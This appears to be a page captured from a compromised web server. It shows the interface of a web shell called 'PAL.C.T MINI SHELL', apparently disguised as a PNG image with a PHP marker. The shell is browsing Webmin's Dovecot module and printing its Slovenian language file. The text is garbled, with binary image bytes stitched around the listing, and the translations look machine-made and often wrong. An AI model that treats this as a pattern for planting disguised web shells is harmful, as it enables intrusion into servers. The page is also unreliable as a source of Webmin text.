php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/dovecot/lang/
upload
files >> //usr/libexec/webmin/dovecot/lang/sl.auto

index_ecmd=Program Dovecot strežnika $1 ni bil najden v vašem sistemu. Mogoče ni nameščen ali pa je <a href='$2'>konfiguracija modula</a> napačna.
index_econf=Konfiguracijske datoteke Dovecot $1 v vašem sistemu ni bilo mogoče najti. Mogoče ni nameščen ali pa je <a href='$2'>konfiguracija modula</a> napačna.
index_dovecot=Golobica
index_stop=Ustavite strežnik Dovecot
index_stopdesc=Zaustavite tekoči postopek strežnika Dovecot IMAP / POP3. Tako bodo uporabniki preprečili nalaganje e-pošte.
index_start=Zaženite strežnik Dovecot
index_startdesc=Zaženite postopek strežnika Dovecot IMAP / POP3, da lahko uporabniki prenesejo svojo e-pošto.
index_apply=Uporabi konfiguracijo
index_applydesc=Aktivirajte trenutno konfiguracijo Dovecot tako, da ustavite in znova zaženete strežniški postopek.
index_boot=Začeti ob zagonu?
index_bootdesc=Spremenite to nastavitev, da omogočite ali onemogočite zagon strežnika Dovecot ob zagonu sistema.
index_return=kazalo modula
index_version=Različica $1

stop_err=Ni bilo mogoče ustaviti Dovecota
stop_erunning=Ne teče več
start_err=Ni bilo mogoče zagnati Dovecota
start_eprotos=Na strani <b>Omrežje in protokoli</b> niso izbrani nobeni protokoli
apply_err=Konfiguracije ni bilo mogoče uporabiti

net_title=Mreženje in protokoli
net_header=Možnosti omrežja Dovecot in protokola za pošto
net_protocols=Vročite poštne protokole
net_pop3=POP3
net_imap=IMAP
net_pop3s=POP3 (SSL)
net_imaps=IMAP (SSL)
net_lmtp=LMTP
net_ssl_disable=Ali sprejemate povezave SSL?
net_ssl_required=Sprejmite samo SSL
net_imap_listen=Vmesniki za povezave IMAP
net_pop3_listen=Vmesniki za povezave POP3
net_imaps_listen=Vmesniki za povezave IMAP SSL
net_pop3s_listen=Vmesniki za povezave POP3 SSL
net_listen=Vmesniki za povezave, ki niso SSL
net_ssl_listen=Vmesniki za povezave SSL
net_listen0=Privzeto
net_listen1=Vsi IPv4 in IPv6
net_listen2=Vsi IPv4
net_listen3=IP naslov
net_err=Možnosti omrežja ni bilo mogoče shraniti
net_eimap_listen=Neveljaven naslov IP za povezave IMAP
net_epop3_listen=Neveljaven IP naslov za povezave POP3
net_eimaps_listen=Neveljaven IP naslov za povezave IMAP SSL
net_epop3s_listen=Neveljaven IP naslov za povezave POP3 SSL
net_elisten=Neveljaven IP naslov za povezave, ki niso SSL
net_essl_listen=Neveljaven IP naslov za povezave SSL

imap_title=Možnosti IMAP

pop3_title=Možnosti POP3

ssl_title=Konfiguracija SSL
ssl_header=Možnosti načina IMAP in POP3 SSL
ssl_key=Datoteka zasebnega ključa SSL
ssl_cert=Datoteka s potrdilom SSL
ssl_ca=Datoteka potrdila SSL odjemalca CA
ssl_pass=Geslo za ključno datoteko
ssl_prompt=Ni potrebno
ssl_regen=Interval med regeneracijo parametra SSL
ssl_hours=ure
ssl_none=Noben
ssl_plain=Ali želite v načinu, ki ni SSL, onemogočiti preverjanje pristnosti tekstov?
ssl_err=Konfiguracije SSL ni bilo mogoče shraniti
ssl_ekey=Manjkajoča ali neobstoječa datoteka zasebnega ključa
ssl_ecert=Manjkajoča ali neobstoječa datoteka s potrdilom
ssl_eca=Manjkajoča ali neobstoječa datoteka s potrdilom stranke CA
ssl_eregen=Interval regeneracije manjkajočega ali neštevilčnega parametra
ssl_epass=Geslo datoteke s ključem SSL ni vneseno

misc_title=Druge možnosti

login_title=Možnosti uporabnika in prijave
login_header=Možnosti preverjanja pristnosti in prijave uporabnika
login_fuid=Najmanjši veljaven UID
login_luid=Največji veljavni UID
login_fgid=Najmanjši veljavni ID skupine
login_lgid=Največji veljavni ID skupine
login_extra=Dodatne odobrene sekundarne skupine
login_none=Noben
login_chroot=Chroot imenik za poštni postopek
login_err=Uporabniških in prijavnih možnosti ni mogoče shraniti
login_efuid=Manjkajoč ali neveljaven numerični minimalni UID
login_eluid=Manjkajoči ali neveljaven največji numerični UID
login_efgid=Manjkajoč ali neveljaven numerični minimalni ID skupine
login_elgid=Manjkajoč ali neveljaven številčni najvišji ID skupine
login_echroot=Manjkajoči ali neveljaven imenik chroot
login_realms=Programi za preverjanje pristnosti SASL
login_realm=Privzeto kraljestvo za overjanje
login_mechs=Načini preverjanja pristnosti
login_anonymous=Anonimni
login_plain=Golo besedilo
login_digest-md5=Digest-MD5
login_cram-md5=Cram-MD5
login_apop=APOP
login_userdb=Vir podatkov za uporabnike, domove in ID-je
login_passwd=Standardna uporabniška baza podatkov Unix
login_passwdfile=Datoteka z geslom po meri $1
login_static=Vedno uporabite UID $1, GID $2 in domov $3
login_vpopmail=VPOPMail knjižnica
login_ldap=LDAP z uporabo nastavitvene datoteke $1
login_pgsql=PostgreSQL, z uporabo nastavitvene datoteke $1
login_sql=SQL baza podatkov z uporabo datoteke config $1
login_passdb=Vir overjanja gesla
login_passwd2=Unix <tt>datoteka passwd</tt>
login_shadow=Unix <tt>senca</tt> datoteka
login_dpam=Privzeta storitev PAM (<tt>govecot</tt>)
login_pam=Storitev PAM $1
login_session=Odpiranje in zapiranje sej PAM
login_pam2=Storitev PAM $1 <br>$2<br> Uporabite predpomnilni ključ $3
login_other=Druge nastavitve Dovecot $1
login_epasswdfile=Manjkajoča ali neobstoječa datoteka gesla po meri
login_euid=Manjkajoč ali neštevilčen UID
login_egid=Manjkajoči ali neštevilčni GID
login_ehome=Manjka domači imenik
login_eldap=Manjkajoča ali neobstoječa konfiguracijska datoteka LDAP
login_epgsql=Manjkajoča ali neobstoječa konfiguracijska datoteka PostgreSQL
login_esql=Manjkajoča ali neobstoječa konfiguracijska datoteka SQL
login_eppam=Manjkajoča ali neveljavna storitev PAM
login_bsdauth=BSD preverjanje pristnosti <br> Uporabite predpomnilnik $1
login_checkpassword=Zunanji program $1
login_eckey=Manjkajoči ali neveljaven predpomnilni ključ
login_echeckpassword=Manjkajoči ali neveljaven zunanji program za preverjanje gesla
login_procs=Največji postopki prijave
login_count=Začetni postopki prijave
login_eprocs=Manjkajoče ali neveljavno največje število prijavnih procesov
login_ecount=Manjkajoče ali neveljavno začetno število prijavnih procesov

mail_title=Datoteke po pošti
mail_header=Lokacija pošte in možnosti branja
mail_env=Lokacija datoteke za pošto
mail_env0=Samodejno zazna
mail_env1=Prejeto in mape v <tt>~/Maildir</tt>
mail_env2=Prejeto v <tt>/var/mail</tt>, mape v <tt>~/mail</tt>
mail_env3=Prejeto v <tt>~/Maildir</tt>, mape v <tt>~/mail</tt>
mail_env4=Druga lokacija Dovecot $1
mail_index=Kazalo datoteke
mail_index0=Privzeto (v imeniku Maildir)
mail_index1=Samo v spominu
mail_index2=Drugi imenik $1
mail_control=Nadzorujte mesto datotek
mail_check=Interval med poštnimi pregledi
mail_never=Nikoli ne preverite
mail_secs=sekund
mail_idle=Interval med preverjanjem pošte v prostem teku
mail_full=Dovoli dostop do celotnega datotečnega sistema?
mail_crlf=Ali želite shraniti e-pošto z zaključki vrstice CRLF?
mail_change=Ali ravnate s spremembami pošte po drugih programih?
mail_umask=Dovoljenja umask za nove datoteke
mail_err=Možnosti datoteke za pošto niso uspele shraniti
mail_eenv=Manjkajoča ali neveljavna lokacija pošte
mail_echeck=Manjkajoče ali neštevilčno število sekund med čeki
mail_eidle=Manjkajoče ali neštevilčno število sekund med preverjanji v prostem teku
mail_eumask=Manjkajoči ali neveljavni štirimestni oktalni Umask
mail_uidl=UIDL format
mail_uidl_other=Drugo ..
mail_uidl_none=Ni nastavljeno (OPOZORILO - Golob se morda ne zažene)
mail_uidl_dovecot=Stari golobček, nov Cyrus
mail_uidl_uw=UW ipop3d
mail_uidl_courier0=Kurirska različica 0
mail_uidl_courier1=Kurirska različica 1, stari Cyrus
mail_uidl_courier2=Kurirska različica 2
mail_uidl_tpop3d=tpop3d
mail_euidl=Manjkajoča ali neveljavna oblika UIDL
mail_last=Dovoli uporabo POP3 LAST ukaza?
mail_lock=Način zaklepanja datotek
mail_fcntl=fcntl funkcija
mail_flock=funkcija jata
mail_dotlock=.lock datoteke
mail_lockf=funkcija lockf
mail_mbox_read_locks=Način zaklepanja branja v nabiralniku
mail_mbox_write_locks=Način zaklepanja pisanja v nabiralnik
mail_none=Noben
mail_sel=Izbrano spodaj po vrstnem redu ..
mail_embox_read_locks=Ni izbranih načinov zaklepanja branja
mail_embox_write_locks=Izbrana ni metoda zaklepanja pisanja
mail_eindexmode=Lokacije datotek indeksa ni mogoče nastaviti, če se samodejno zazna lokacija poštne datoteke
mail_econtrolmode=Položaja nadzornih datotek ni mogoče nastaviti, če se samodejno zazna lokacija poštne datoteke
mail_eindex=Manjkajoča ali neveljavna absolutna pot za indeksne datoteke
mail_econtrol=Manjkajoča ali neveljavna absolutna pot za nadzorne datoteke

log_net=Spremenjena omrežja in protokoli
log_login=Spremenjene možnosti uporabnika in prijave
log_mail=Spremenjene datoteke s pošto
log_ssl=Spremenjena konfiguracija SSL
log_apply=Uporabljena konfiguracija
log_start=Začel strežnik Dovecot
log_stop=Ustavil strežnik Dovecot
log_bootup=Omogočeno Dovecot ob zagonu
log_bootdown=Onemogočen Dovecot ob zagonu
log_manual=Ročno urejena konfiguracijska datoteka $1

manual_title=Uredi konfiguriranje datotek
manual_editsel=Uredite konfiguracijsko datoteko Dovecot
manual_err=Konfiguracijske datoteke ni bilo mogoče shraniti
manual_edata=Nič ni vneseno!
manual_efile=Izbrana konfiguracijska datoteka ni veljavna
manual_ok=Uredi
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`